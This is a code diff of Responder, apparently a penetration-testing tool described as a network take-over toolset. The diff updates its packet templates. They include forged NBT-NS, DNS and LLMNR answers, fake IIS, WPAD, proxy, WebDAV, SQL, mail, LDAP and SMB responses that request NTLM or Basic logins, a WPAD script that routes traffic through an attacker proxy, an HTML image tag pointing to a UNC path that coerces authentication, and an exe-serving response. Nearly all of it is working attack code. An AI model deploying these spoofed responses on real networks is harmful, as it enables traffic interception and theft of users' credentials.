|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,15 +14,10 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import string
|
||||
import logging
|
||||
|
||||
from utils import *
|
||||
from odict import OrderedDict
|
||||
from utils import color
|
||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
@@ -31,7 +26,6 @@ def OsNameClientVersion(data):
|
||||
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
|
||||
0
logs/.gitignore
vendored
Normal file
0
logs/.gitignore
vendored
Normal file
8
odict.py
8
odict.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -77,7 +77,7 @@ class OrderedDict(dict, DictMixin):
|
||||
inst_dict = vars(self).copy()
|
||||
self.__map, self.__end = tmp
|
||||
if inst_dict:
|
||||
return (self.__class__, (items,), inst_dict)
|
||||
return self.__class__, (items,), inst_dict
|
||||
return self.__class__, (items,)
|
||||
|
||||
def keys(self):
|
||||
|
||||
505
packets.py
505
packets.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -19,6 +19,7 @@ import settings
|
||||
|
||||
from base64 import b64decode, b64encode
|
||||
from odict import OrderedDict
|
||||
from utils import HTTPCurrentDate, RespondWithIPAton
|
||||
|
||||
# Packet class handling all packet generation (see odict.py).
|
||||
class Packet():
|
||||
@@ -56,7 +57,7 @@ class NBT_Ans(Packet):
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["NbtName"] = data[12:46]
|
||||
self.fields["IP"] = settings.Config.IP_aton
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
|
||||
# DNS Answer Packet
|
||||
class DNS_Ans(Packet):
|
||||
@@ -74,7 +75,7 @@ class DNS_Ans(Packet):
|
||||
("AnswerPointer", "\xc0\x0c"),
|
||||
("Type1", "\x00\x01"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
|
||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
@@ -82,7 +83,7 @@ class DNS_Ans(Packet):
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||
self.fields["IP"] = settings.Config.IP_aton
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
|
||||
# LLMNR Answer Packet
|
||||
@@ -110,7 +111,7 @@ class LLMNR_Ans(Packet):
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = settings.Config.IP_aton
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
|
||||
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
|
||||
@@ -169,7 +170,7 @@ class NTLM_Challenge(Packet):
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
@@ -180,7 +181,7 @@ class NTLM_Challenge(Packet):
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
|
||||
|
||||
# Then calculate
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
@@ -204,25 +205,23 @@ class NTLM_Challenge(Packet):
|
||||
class IIS_Auth_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
class IIS_Auth_Granted(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
||||
])
|
||||
@@ -232,15 +231,14 @@ class IIS_Auth_Granted(Packet):
|
||||
class IIS_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "WWW-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
@@ -249,27 +247,25 @@ class IIS_NTLM_Challenge_Ans(Packet):
|
||||
class IIS_Basic_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
|
||||
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
##### Proxy mode Packets #####
|
||||
class WPADScript(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
|
||||
])
|
||||
@@ -280,16 +276,15 @@ class ServeExeFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentDisp", "Content-Disposition: attachment; filename="),
|
||||
("ContentDiFile", ""),
|
||||
("FileCRLF", ";\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
@@ -303,13 +298,12 @@ class ServeHtmlFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: text/html\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
@@ -317,6 +311,68 @@ class ServeHtmlFile(Packet):
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
##### WPAD Auth Packets #####
|
||||
class WPAD_Auth_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
|
||||
("Connection", "Proxy-Connection: close\r\n"),
|
||||
("Cache-Control", "Cache-Control: no-cache\r\n"),
|
||||
("Pragma", "Pragma: no-cache\r\n"),
|
||||
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
|
||||
class WPAD_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "Proxy-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
class WPAD_Basic_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
|
||||
("Connection", "Proxy-Connection: close\r\n"),
|
||||
("Cache-Control", "Cache-Control: no-cache\r\n"),
|
||||
("Pragma", "Pragma: no-cache\r\n"),
|
||||
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
##### WEB Dav Stuff #####
|
||||
class WEBDAV_Options_Answer(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
|
||||
("Connection", "Connection: Keep-Alive\r\n"),
|
||||
("Content-Type", "Content-Type: text/html\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
##### FTP Packets #####
|
||||
class FTPPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
@@ -330,7 +386,7 @@ class FTPPacket(Packet):
|
||||
class MSSQLPreLoginAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\x25"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
@@ -352,7 +408,7 @@ class MSSQLPreLoginAnswer(Packet):
|
||||
("SubBuild", "\x00\x00"),
|
||||
("EncryptionStr", "\x02"),
|
||||
("InstOptStr", "\x00"),
|
||||
])
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
|
||||
@@ -376,7 +432,7 @@ class MSSQLPreLoginAnswer(Packet):
|
||||
|
||||
class MSSQLNTLMChallengeAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\xc7"),
|
||||
("SPID", "\x00\x00"),
|
||||
@@ -415,7 +471,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
# First convert to unicode
|
||||
@@ -425,7 +481,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
|
||||
|
||||
# Then calculate
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
@@ -454,59 +510,59 @@ class MSSQLNTLMChallengeAnswer(Packet):
|
||||
class SMTPGreeting(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "220"),
|
||||
("Separator", "\x20"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "smtp01.local ESMTP"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
])
|
||||
|
||||
class SMTPAUTH(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code0", "250"),
|
||||
("Separator0", "\x2d"),
|
||||
("Separator0", "\x2d"),
|
||||
("Message0", "smtp01.local"),
|
||||
("CRLF0", "\x0d\x0a"),
|
||||
("Code", "250"),
|
||||
("Separator", "\x20"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
])
|
||||
|
||||
class SMTPAUTH1(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "VXNlcm5hbWU6"),#Username
|
||||
("CRLF", "\x0d\x0a"),
|
||||
|
||||
])
|
||||
])
|
||||
|
||||
class SMTPAUTH2(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "UGFzc3dvcmQ6"),#Password
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
])
|
||||
|
||||
##### IMAP Packets #####
|
||||
class IMAPGreeting(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* OK IMAP4 service is ready."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
class IMAPCapability(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
class IMAPCapabilityEnd(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tag", ""),
|
||||
("Message", " OK CAPABILITY completed."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
##### POP3 Packets #####
|
||||
class POPOKPacket(Packet):
|
||||
@@ -659,10 +715,10 @@ class LDAPNTLMChallenge(Packet):
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "SERVER2008.smb12.local"),
|
||||
@@ -734,7 +790,7 @@ class SMBNego(Packet):
|
||||
("bcc", "\x62\x00"),
|
||||
("data", "")
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
||||
|
||||
@@ -777,7 +833,7 @@ class SMBSessionData(Packet):
|
||||
("NativeLanmanTerminator","\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
def calculate(self):
|
||||
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
|
||||
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
|
||||
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
|
||||
@@ -815,8 +871,8 @@ class SMBSessionFingerData(Packet):
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
class SMBTreeConnectData(Packet):
|
||||
fields = OrderedDict([
|
||||
@@ -834,7 +890,7 @@ class SMBTreeConnectData(Packet):
|
||||
("Terminator", "\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
def calculate(self):
|
||||
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
|
||||
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
|
||||
@@ -965,7 +1021,7 @@ class SMBNegoAns(Packet):
|
||||
("NegHintASNLen", "\x19"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
])
|
||||
@@ -1037,7 +1093,7 @@ class SMBNegoKerbAns(Packet):
|
||||
("NegHintASNLen", "\x19"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
])
|
||||
@@ -1073,8 +1129,8 @@ class SMBSession1Data(Packet):
|
||||
("Action", "\x00\x00"),
|
||||
("SecBlobLen", "\xea\x00"),
|
||||
("Bcc", "\x34\x01"),
|
||||
("ChoiceTagASNId", "\xa1"),
|
||||
("ChoiceTagASNLenOfLen", "\x81"),
|
||||
("ChoiceTagASNId", "\xa1"),
|
||||
("ChoiceTagASNLenOfLen", "\x81"),
|
||||
("ChoiceTagASNIdLen", "\x00"),
|
||||
("NegTokenTagASNId", "\x30"),
|
||||
("NegTokenTagASNLenOfLen","\x81"),
|
||||
@@ -1115,23 +1171,23 @@ class SMBSession1Data(Packet):
|
||||
("NTLMSSPNtWorkstationName","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
